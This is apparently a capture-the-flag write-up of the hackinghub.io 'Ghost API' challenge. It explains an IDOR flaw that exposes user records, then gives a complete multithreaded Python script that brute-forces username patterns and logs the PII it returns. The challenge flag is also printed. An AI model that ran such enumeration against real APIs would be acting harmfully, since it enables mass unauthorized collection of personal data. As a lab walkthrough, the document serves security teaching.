Ghost API - Hackinghub.io
Ghost API writeup from hackinghub.io
For this CTF challenge, we are given the endpoint https://z5dgz12o.eu2.ctfio.com/api/userInfo/showUserDetails/jrodriguez75
(please note that the endpoint might difer from mine due to the instance spawned). The objective is to leak confidential information from the API. There is no authorization required to access it, making it a case of an IDOR (Insecure Direct Object References) vulnerability. If you want to know more about IDOR vulnerabilities you can check these out: OWASP IDOR Prevention Cheat Sheet or Portswigger IDOR
From the challenge description, we are expected to enumerate possible usernames stored in the database and the disclosure of their PII.
The application’s API is vulnerable to an IDOR that exposes sensitive user information. However, there’s a twist — you’ll need to understand the pattern behind how usernames are generated to fully exploit this vulnerability. Can you decipher the username creation logic and access the hidden information?
An example username might be: jrodriguez75
When visiting the endpoint, the output looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"estado": "éxito",
"datos": {
"nombre_usuario": "jrodriguez75",
"nombre": "J",
"apellido": "Rodriguez",
"correo_electronico": "jrodriguez75@ejemplo.com",
"edad": 50,
"telefono": "+34 693 741 885",
"direccion": "Plaza del Sol 45, 28801",
"carnet_identidad": "82980065K",
"ciudad": "Ciudad de México"
}
}
From this, we can infer that the username format follows a common Hispanic surname, with a lowercase letter in front and potentially a number at the end that could be a date of birth of the user when generated. We want to try all possible combinations using:
- A single lowercase letter in front of the surname
- The surname itself
- Optionally, a number from 0 to 99 appended at the end
This gives us a pattern like: {a..z}{surname}{0..99 | nothing}
To automate this, I asked ChatGPT to write a Python script that generates these permutations and checks each one. I also added multithreading since there are over 50,000 combinations to try.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import string
import json
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
# Logging setup
logging.basicConfig(
filename="output.log",
filemode="a",
format="%(message)s",
level=logging.INFO
)
# Top 20 common Hispanic surnames
surnames = [
"garcia", "rodriguez", "martinez", "hernandez", "lopez",
"gonzalez", "perez", "sanchez", "ramirez", "torres",
"flores", "rivera", "gomez", "diaz", "reyes",
"cruz", "morales", "ortiz", "gutierrez", "ramos"
]
base_url = "https://z5dgz12o.eu2.ctfio.com/api/userInfo/showUserDetails/"
MAX_THREADS = 20
# Generate all username permutations
usernames = []
for letter in string.ascii_lowercase:
for surname in surnames:
usernames.append(f"{letter}{surname}")
for i in range(100):
usernames.append(f"{letter}{surname}{i}")
def check_username(username):
url = f"{base_url}{username}"
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
try:
data = r.json()
pretty = json.dumps(data, indent=2)
log_entry = f"[+] {username} -> {url}\n{pretty}\n"
except json.JSONDecodeError:
log_entry = f"[+] {username} -> {url}\n[!] Non-JSON Response:\n{r.text}\n"
print(log_entry) # Print to console
logging.info(log_entry) # Save to log file
except:
pass
# Multithreaded execution
if __name__ == "__main__":
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
futures = [executor.submit(check_username, user) for user in usernames]
for _ in as_completed(futures):
pass
If we wanted to expand the script with a dataset of spanish name and surnames, a resource like this could be helpful: (https://github.com/jvalhondo/spanish-names-surnames)
After a short amount of time, the flag appears in the terminal output along with a lot of other hits:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"estado": "éxito",
"datos": {
"nombre_usuario": "cgarcia",
"nombre": "C",
"apellido": "Garcia",
"correo_electronico": "cgarcia@ejemplo.com",
"edad": 21,
"telefono": "+34 610 915 022",
"direccion": "Plaza del Sol 28, 28773",
"carnet_identidad": "29367700N",
"ciudad": "Lima",
"flag": "flag{9c9b9206bc76e06c6efd87fe80cfb310}"
}
}
Flag: flag{9c9b9206bc76e06c6efd87fe80cfb310}
If you wan’t to know more about this challenge and the real world bug bounty it comes from, you can see NahamSec’s video about it on Youtube